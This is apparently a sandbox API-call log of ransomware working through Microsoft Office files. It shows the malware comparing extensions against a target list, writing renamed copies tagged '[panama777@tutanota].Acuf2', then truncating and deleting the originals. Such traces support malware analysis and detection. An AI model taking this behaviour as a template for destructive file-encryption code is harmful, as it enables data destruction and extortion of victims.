	[0262.969] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0262.969] SetEndOfFile (hFile=0x35c) returned 1
	[0262.972] CloseHandle (hObject=0x35c) returned 1
	[0262.972] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_F_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0262.972] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_f_col.hxk")) returned 1
	[0262.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_F_COL.HXK") returned 70
	[0262.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_F_COL.HXK") returned 70
	[0262.972] lstrlenW (lpString=".doc") returned 4
	[0262.972] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1
	[0262.972] lstrlenW (lpString=".docx") returned 5
	[0262.972] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1
	[0262.972] lstrlenW (lpString=".pdf") returned 4
	[0262.972] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1
	[0262.972] lstrlenW (lpString=".xls") returned 4
	[0262.972] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1
	[0262.973] lstrlenW (lpString=".xlsx") returned 5
	[0262.973] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1
	[0262.973] lstrlenW (lpString=".ppt") returned 4
	[0262.973] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1
	[0262.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_F_COL.HXK") returned 70
	[0262.973] lstrlenW (lpString=".zip") returned 4
	[0262.973] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1
	[0262.973] lstrlenW (lpString=".rar") returned 4
	[0262.973] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1
	[0262.973] lstrlenW (lpString=".bz2") returned 4
	[0262.973] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1
	[0262.973] lstrlenW (lpString=".7z") returned 3
	[0262.973] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1
	[0262.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_F_COL.HXK") returned 70
	[0262.973] lstrlenW (lpString=".dbf") returned 4
	[0262.973] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1
	[0262.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_F_COL.HXK") returned 70
	[0262.973] lstrlenW (lpString=".1cd") returned 4
	[0262.973] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1
	[0262.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_F_COL.HXK") returned 70
	[0262.973] lstrlenW (lpString=".jpg") returned 4
	[0262.973] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1
	[0262.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_F_COL.HXK") returned 70
	[0262.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_F_COL.HXK") returned 70
	[0262.973] lstrlenW (lpString=".doc") returned 4
	[0262.973] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1
	[0262.973] lstrlenW (lpString=".docx") returned 5
	[0262.973] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1
	[0262.973] lstrlenW (lpString=".pdf") returned 4
	[0262.973] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1
	[0262.973] lstrlenW (lpString=".xls") returned 4
	[0262.973] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1
	[0262.974] lstrlenW (lpString=".xlsx") returned 5
	[0262.974] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1
	[0262.974] lstrlenW (lpString=".ppt") returned 4
	[0262.974] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1
	[0262.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_F_COL.HXK") returned 70
	[0262.974] lstrlenW (lpString=".zip") returned 4
	[0262.974] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1
	[0262.974] lstrlenW (lpString=".rar") returned 4
	[0262.974] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1
	[0262.974] lstrlenW (lpString=".bz2") returned 4
	[0262.974] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1
	[0262.974] lstrlenW (lpString=".7z") returned 3
	[0262.974] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1
	[0262.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_F_COL.HXK") returned 70
	[0262.974] lstrlenW (lpString=".dbf") returned 4
	[0262.974] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1
	[0262.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_F_COL.HXK") returned 70
	[0262.974] lstrlenW (lpString=".1cd") returned 4
	[0262.974] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1
	[0262.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_F_COL.HXK") returned 70
	[0262.974] lstrlenW (lpString=".jpg") returned 4
	[0262.974] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1
	[0262.974] lstrcmpiW (lpString1=".HXK", lpString2=".Acuf2") returned 1
	[0262.974] lstrlenW (lpString="MSACCESS.DEV_K_COL.HXK") returned 22
	[0262.974] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_k_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0262.975] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x310ff1c | out: lpFileSize=0x310ff1c*=113) returned 1
	[0262.975] CloseHandle (hObject=0x35c) returned 1
	[0262.975] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_k_col.hxk")) returned 0x20
	[0262.975] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_K_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_k_col.hxk.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0262.975] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0262.975] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0262.975] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0262.975] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_K_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_k_col.hxk.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0262.976] GetLastError () returned 0x0
	[0262.976] ReadFile (in: hFile=0x35c, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x71, lpOverlapped=0x0) returned 1
	[0262.976] WriteFile (in: hFile=0x328, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0x80, lpOverlapped=0x0) returned 1
	[0262.977] ReadFile (in: hFile=0x35c, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x0, lpOverlapped=0x0) returned 1
	[0262.977] WriteFile (in: hFile=0x328, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0x100, lpOverlapped=0x0) returned 1
	[0262.977] SetEndOfFile (hFile=0x328) returned 1
	[0262.977] CloseHandle (hObject=0x328) returned 1
	[0262.977] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0262.977] SetEndOfFile (hFile=0x35c) returned 1
	[0262.980] CloseHandle (hObject=0x35c) returned 1
	[0262.980] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_K_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0262.980] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_k_col.hxk")) returned 1
	[0262.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_K_COL.HXK") returned 70
	[0262.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_K_COL.HXK") returned 70
	[0262.980] lstrlenW (lpString=".doc") returned 4
	[0262.980] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1
	[0262.980] lstrlenW (lpString=".docx") returned 5
	[0262.980] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1
	[0262.980] lstrlenW (lpString=".pdf") returned 4
	[0262.980] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1
	[0262.980] lstrlenW (lpString=".xls") returned 4
	[0262.980] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1
	[0262.980] lstrlenW (lpString=".xlsx") returned 5
	[0262.980] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1
	[0262.981] lstrlenW (lpString=".ppt") returned 4
	[0262.981] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1
	[0262.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_K_COL.HXK") returned 70
	[0262.981] lstrlenW (lpString=".zip") returned 4
	[0262.981] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1
	[0262.981] lstrlenW (lpString=".rar") returned 4
	[0262.981] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1
	[0262.981] lstrlenW (lpString=".bz2") returned 4
	[0262.981] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1
	[0262.981] lstrlenW (lpString=".7z") returned 3
	[0262.981] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1
	[0262.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_K_COL.HXK") returned 70
	[0262.981] lstrlenW (lpString=".dbf") returned 4
	[0262.981] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1
	[0262.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_K_COL.HXK") returned 70
	[0262.981] lstrlenW (lpString=".1cd") returned 4
	[0262.981] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1
	[0262.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_K_COL.HXK") returned 70
	[0262.981] lstrlenW (lpString=".jpg") returned 4
	[0262.981] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1
	[0262.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_K_COL.HXK") returned 70
	[0262.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_K_COL.HXK") returned 70
	[0262.981] lstrlenW (lpString=".doc") returned 4
	[0262.981] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1
	[0262.981] lstrlenW (lpString=".docx") returned 5
	[0262.981] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1
	[0262.981] lstrlenW (lpString=".pdf") returned 4
	[0262.981] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1
	[0262.981] lstrlenW (lpString=".xls") returned 4
	[0262.981] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1
	[0262.981] lstrlenW (lpString=".xlsx") returned 5
	[0262.981] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1
	[0262.982] lstrlenW (lpString=".ppt") returned 4
	[0262.982] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1
	[0262.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_K_COL.HXK") returned 70
	[0262.982] lstrlenW (lpString=".zip") returned 4
	[0262.982] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1
	[0262.982] lstrlenW (lpString=".rar") returned 4
	[0262.982] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1
	[0262.982] lstrlenW (lpString=".bz2") returned 4
	[0262.982] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1
	[0262.982] lstrlenW (lpString=".7z") returned 3
	[0262.982] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1
	[0262.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_K_COL.HXK") returned 70
	[0262.982] lstrlenW (lpString=".dbf") returned 4
	[0262.982] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1
	[0262.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_K_COL.HXK") returned 70
	[0262.982] lstrlenW (lpString=".1cd") returned 4
	[0262.982] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1
	[0262.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_K_COL.HXK") returned 70
	[0262.982] lstrlenW (lpString=".jpg") returned 4
	[0262.982] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1
	[0262.982] lstrcmpiW (lpString1=".HXS", lpString2=".Acuf2") returned 1
	[0262.982] lstrlenW (lpString="MSACCESS.HXS") returned 12
	[0262.982] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.hxs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0262.983] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x310ff1c | out: lpFileSize=0x310ff1c*=3877906) returned 1
	[0262.983] CloseHandle (hObject=0x35c) returned 1
	[0262.983] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.hxs")) returned 0x20
	[0262.983] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.HXS.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.hxs.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0262.983] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.HXS.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.hxs.id-9c354b42.[panama777@tutanota].acuf2")) returned 0
	[0262.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.HXS") returned 60
	[0262.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.HXS") returned 60
	[0262.984] lstrlenW (lpString=".doc") returned 4
	[0262.984] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1
	[0262.984] lstrlenW (lpString=".docx") returned 5
	[0262.984] lstrcmpiW (lpString1=".docx", lpString2="S.HXS") returned -1
	[0262.984] lstrlenW (lpString=".pdf") returned 4
	[0262.984] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1
	[0262.984] lstrlenW (lpString=".xls") returned 4
	[0262.984] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1
	[0262.984] lstrlenW (lpString=".xlsx") returned 5
	[0262.984] lstrcmpiW (lpString1=".xlsx", lpString2="S.HXS") returned -1
	[0262.984] lstrlenW (lpString=".ppt") returned 4
	[0262.984] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1
	[0262.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.HXS") returned 60
	[0262.984] lstrlenW (lpString=".zip") returned 4
	[0262.984] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1
	[0262.984] lstrlenW (lpString=".rar") returned 4
	[0262.984] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1
	[0262.984] lstrlenW (lpString=".bz2") returned 4
	[0262.984] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1
	[0262.984] lstrlenW (lpString=".7z") returned 3
	[0262.984] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1
	[0262.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.HXS") returned 60
	[0262.984] lstrlenW (lpString=".dbf") returned 4
	[0262.984] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1
	[0262.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.HXS") returned 60
	[0262.984] lstrlenW (lpString=".1cd") returned 4
	[0262.984] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1
	[0262.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.HXS") returned 60
	[0262.984] lstrlenW (lpString=".jpg") returned 4
	[0262.984] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1
	[0262.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.HXS") returned 60
	[0262.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.HXS") returned 60
	[0262.985] lstrlenW (lpString=".doc") returned 4
	[0262.985] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1
	[0262.985] lstrlenW (lpString=".docx") returned 5
	[0262.985] lstrcmpiW (lpString1=".docx", lpString2="S.HXS") returned -1
	[0262.985] lstrlenW (lpString=".pdf") returned 4
	[0262.985] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1
	[0262.985] lstrlenW (lpString=".xls") returned 4
	[0262.985] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1
	[0262.985] lstrlenW (lpString=".xlsx") returned 5
	[0262.985] lstrcmpiW (lpString1=".xlsx", lpString2="S.HXS") returned -1
	[0262.985] lstrlenW (lpString=".ppt") returned 4
	[0262.985] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1
	[0262.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.HXS") returned 60
	[0262.985] lstrlenW (lpString=".zip") returned 4
	[0262.985] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1
	[0262.985] lstrlenW (lpString=".rar") returned 4
	[0262.985] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1
	[0262.985] lstrlenW (lpString=".bz2") returned 4
	[0262.985] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1
	[0262.985] lstrlenW (lpString=".7z") returned 3
	[0262.985] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1
	[0262.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.HXS") returned 60
	[0262.985] lstrlenW (lpString=".dbf") returned 4
	[0262.985] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1
	[0262.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.HXS") returned 60
	[0262.985] lstrlenW (lpString=".1cd") returned 4
	[0262.985] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1
	[0262.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.HXS") returned 60
	[0262.985] lstrlenW (lpString=".jpg") returned 4
	[0262.985] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1
	[0262.986] lstrcmpiW (lpString1=".HXC", lpString2=".Acuf2") returned 1
	[0262.986] lstrlenW (lpString="MSACCESS_COL.HXC") returned 16
	[0262.986] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess_col.hxc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0262.986] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x310ff1c | out: lpFileSize=0x310ff1c*=636) returned 1
	[0262.986] CloseHandle (hObject=0x35c) returned 1
	[0262.986] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess_col.hxc")) returned 0x20
	[0262.986] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXC.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess_col.hxc.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0262.987] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0262.987] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0262.987] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0262.987] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXC.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess_col.hxc.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0262.987] GetLastError () returned 0x0
	[0262.987] ReadFile (in: hFile=0x35c, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x27c, lpOverlapped=0x0) returned 1
	[0262.989] WriteFile (in: hFile=0x328, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0x280, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0x280, lpOverlapped=0x0) returned 1
	[0262.989] ReadFile (in: hFile=0x35c, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x0, lpOverlapped=0x0) returned 1
	[0262.989] WriteFile (in: hFile=0x328, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0xf4, lpOverlapped=0x0) returned 1
	[0262.989] SetEndOfFile (hFile=0x328) returned 1
	[0262.989] CloseHandle (hObject=0x328) returned 1
	[0262.989] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0262.990] SetEndOfFile (hFile=0x35c) returned 1
	[0262.991] CloseHandle (hObject=0x35c) returned 1
	[0262.992] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXC.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0262.992] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess_col.hxc")) returned 1
	[0262.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXC") returned 64
	[0262.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXC") returned 64
	[0262.992] lstrlenW (lpString=".doc") returned 4
	[0262.992] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1
	[0262.992] lstrlenW (lpString=".docx") returned 5
	[0262.992] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1
	[0262.992] lstrlenW (lpString=".pdf") returned 4
	[0262.992] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1
	[0262.992] lstrlenW (lpString=".xls") returned 4
	[0262.992] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1
	[0262.992] lstrlenW (lpString=".xlsx") returned 5
	[0262.992] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1
	[0262.992] lstrlenW (lpString=".ppt") returned 4
	[0262.992] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1
	[0262.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXC") returned 64
	[0262.993] lstrlenW (lpString=".zip") returned 4
	[0262.993] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1
	[0262.993] lstrlenW (lpString=".rar") returned 4
	[0262.993] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1
	[0262.993] lstrlenW (lpString=".bz2") returned 4
	[0262.993] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1
	[0262.993] lstrlenW (lpString=".7z") returned 3
	[0262.993] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1
	[0262.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXC") returned 64
	[0262.993] lstrlenW (lpString=".dbf") returned 4
	[0262.993] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1
	[0262.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXC") returned 64
	[0262.993] lstrlenW (lpString=".1cd") returned 4
	[0262.993] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1
	[0262.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXC") returned 64
	[0262.993] lstrlenW (lpString=".jpg") returned 4
